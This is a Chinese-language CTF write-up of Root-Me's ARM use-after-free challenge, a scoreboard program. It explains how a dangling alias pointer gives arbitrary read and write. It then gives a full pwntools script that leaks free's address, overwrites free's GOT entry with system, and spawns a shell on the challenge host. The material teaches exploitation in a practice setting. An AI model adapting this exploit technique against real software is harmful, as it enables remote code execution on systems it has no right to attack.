Rootme CTF UAF Writeup

Mr.Bai 1,002 浏览 0

0x01 题目简介

这是Rootme.org上一道有关ARM ELF UAF的题目——The best things in life are free()。此题主要考查ARM下UAF漏洞的利用,通过UAF漏洞进行信息泄露进而改写GOT表获得执行任意代码。

0x02 题目分析

UAF漏洞

运行题目如下:

			
$ ./ch47
Root-Me CTF Scoreboard v2.0
A tool to manage scoring for CTF's
Enter a Command:
add [alias]
edit [alias]
del [alias]
show [alias]
score [alias]
leader
totals
export json|csv
help
quit
:

一个简单的CTF分数管理程序,可以通过add、edit、del、show、score等命令,对队伍进行添加、编辑、删除、打印、得分。

值得注意的是,每个队伍具有别名(alias),除了根据编号(index)来对队伍进行操作外,还可以根据别名进行操作,漏洞就在程序对alias的处理上。比如add 一个team,其别名为xx,index为0, 则后续我们除了通过index 0对这个team进行操作外,还可以通过edit xx,del xx, show xx等进行操作。当我们通过index 0 del这个team以后,我们没法再次通过index edit和del了,但是我们却可以通过edit xx和del xx继续操作,这就是所谓的UAF漏洞,del以后产生的野指针我们可以继续引用它进行危险操作!

如果再次del xx, 就会对野指针再free一次,程序触发double free出错, 这证明了漏洞的存在。

				
$ ./ch47
Root-Me CTF Scoreboard v2.0
A tool to manage scoring for CTF's
Enter a Command:
add [alias]
edit [alias]
del [alias]
show [alias]
score [alias]
leader
totals
export json|csv
help
quit
: add xx
Team: MS509
Desc: AAAAAAAAAAAAA
Success: team added (index: 0; name: MS509; alias: xx)
Enter a Command:
add [alias]
edit [alias]
del [alias]
show [alias]
score [alias]
leader
totals
export json|csv
help
quit
: del
Index: 0
Success: deleted MS509
Enter a Command:
add [alias]
edit [alias]
del [alias]
show [alias]
score [alias]
leader
totals
export json|csv
help
quit
: del xx
Success: deleted MS509
*** Error in `./ch47': double free or corruption (fasttop): 0x01979008 ***
Aborted

控制野指针的内容

调试过程中对team的内容进行跟踪,大致还原了其数据结构如图

Rootme CTF UAF WriteupTeam Structure

在add的时候,team的内容存储在固定60字节的堆中,其中最后四个字节为指向team description的堆上分配的指针, 而descrption的内容紧随其后存储在根据description长度动态分配的地址上。

Rootme CTF UAF Writeupadd

在del的时候,team及description会先后free掉,因此这里有两个野指针。
对于team而言,长度固定为60字节,可以编辑index、score和name(都有限制);对于description而言,长度可控、内容可控。因此,description是作为操纵野指针的更好选择。

另外,在edit的时候,我们还有一次机会malloc新的description,只要新的description长度更长即可。

Rootme CTF UAF Writeupedit

这样我们free掉一个team后,如果malloc的description的长度恰好是60字节(使用edit,而非使用add,因为add会依次malloc新的team和description),则会占据原先free掉的team的位置。由于alias的存在,还可以通过show、edit等命令对free掉的team进行操作。

使用show命令,可以打印最后四字节指针指向内存(本该为description)的内容,任意地址读。
使用edit命令,可以修改最后四字节指针指向内存(本该为description)的内容,任意地址写。

而程序的GOT表部分可写,因此可以考虑通过任意地址读泄露某个libc函数地址进而获得system函数地址,然后将某一个GOT表项修改为system函数地址,最后触发system("/bin/sh")

0x03 漏洞利用

结合题目之意,修改free_got最为方便,并将函数参数布置在某个team的description中即可

具体漏洞步骤如下:

1、建立3个team, MS509(别名为xx)/MS508/MS507,前面两个description的长度要比60字节小很多,设置”/bin/sh”为MS507的description

2、del MS509, 并edit MS508的description为60字节,最后四字节为free_got。

3、通过show xx打印MS509这个team,打印出来的description前四字节内容即为free函数的地址。

4、计算system函数地址,再通过edit xx编辑MS509team,description填入system函数地址,使free_got指向system

5、del MS507触发free,实际调用system("/bin/sh")

利用代码和注释如下:

from pwn import *
menu_end = "quit\n\n: "
#context.log_level = 'debug'
def add(p, team, desc, alias=""):
    p.sendline("add " + alias)
    print p.recvuntil("Team: ")
    p.sendline(team)
    print p.recvuntil("Desc: ")
    p.sendline(desc)
def show(p, index, alias=""):
    p.sendline("show " + alias)
    if (alias == ""):
        print p.recvuntil("Index: " )
        p.sendline(index)
def delete(p, index, alias=""):
    p.sendline("del " + alias)
    if (alias == ""):
        print p.recvuntil("Index: " )
        p.sendline(index)
def edit(p, index,team, desc, points, alias=""):
    p.sendline("edit " + alias)
    if (alias == ""):
        print p.recvuntil("Index: " )
        p.sendline(index)
        print p.recvuntil("Team: Team: ")
        p.sendline(team)
        print p.recvuntil("Desc: ")
        p.sendline(desc)
        print p.recvuntil("Points: ")
        p.sendline(points)
    else:
        print p.recvuntil("Team: " )
        p.sendline(team)
        print p.recvuntil("Desc: " )
        p.sendline(desc)
        print p.recvuntil("Points: " )
        p.sendline(points)
        
def export(p):
    p.sendline("export json")
def main():
    #p = process("./ch47")
    p = remote("challenge04.root-me.org", 61047)
    print p.recvuntil(menu_end)
#1. add 3 teams
    add(p,"MS509", "AAAAAAAAAAAAAAAA", "xx")
    print p.recvuntil(menu_end)
    add(p,"MS508", "B", "yy")
    print p.recvuntil(menu_end)
    #notice, the description is /bin/sh which will be free'd later since we modify element of free_got into system 
    add(p,"MS507", "/bin/sh", "zz")
    print p.recvuntil(menu_end)
#    print "[+] Waiting for debugging.."
#    raw_input()
#2. del team 0 to get a dangling pointer which will be referenced by alias later
    delete(p, "0")
    print p.recvuntil(menu_end)
#3. edit team 1, update the description pointer of malloc in the place of team 0 
    got_free = int("0x23014", 16) #no PIE, it's fixed
    payload = "C"*56 + p32(got_free)  #must be 60bytes to be allocated in the free'd team 0, there is a '\00' in the end
    edit(p, "1", "MS508", payload, "50") 
    print p.recvuntil(menu_end)
#4. show the deleted team 0 by alias to leak the free address, Print After Free
    show(p,"unused", "xx")
    print p.recvuntil("Desc:  ") #Notice , there are two spaces after Desc:
    addr_free_str = p.recv(4)
  # log.debug("free address is %s" % addr_free_str.encode("hex"))
    addr_free = u32(addr_free_str)
    log.debug("free address is %s" % hex(addr_free))
    print p.recvuntil(menu_end)
    
#5. using the leaked address to get system address
    libc = ELF("./libc.remote")
    #libc = ELF("./libc.so.6")
    addr_system = addr_free - (libc.symbols['free'] - libc.symbols['system'])
    addr_fgets = addr_free - (libc.symbols['free'] - libc.symbols['fgets'])
    addr_memcpy = addr_free - (libc.symbols['free'] - libc.symbols['memcpy'])
    log.debug("system address is %s" % hex(addr_system))
    log.debug("fgets address is %s" % hex(addr_fgets))
#6. edit team0 to make got_free point to system addr, NOTE: let other funciton used later alone
    edit(p, "not_used", "MS509", p32(addr_system)+p32(addr_fgets)+p32(addr_memcpy),"100", "xx")
    print p.recvuntil(menu_end)
    
#7. del team2 to trigger free which actually is system("/bin/sh") 
    export(p)
    delete(p, "2")
    p.interactive()
if __name__ == "__main__":
    main()

0x03 收获

  • 程序流程不清楚时,可以通过测试和调试观察重要的数据结构,比如team,来辅助分析程序流程。进而再通过IDA进行静态分析,逐步理清程序
  • 善于使用调试,在exp编写前期,用gdb动态调试验证思路,在exp运行时查找问题非常重要。
  • pwntools使用非常方便,一定要掌握好这个工具

发表评论 取消回复
表情 图片 链接 代码

分享
请选择语言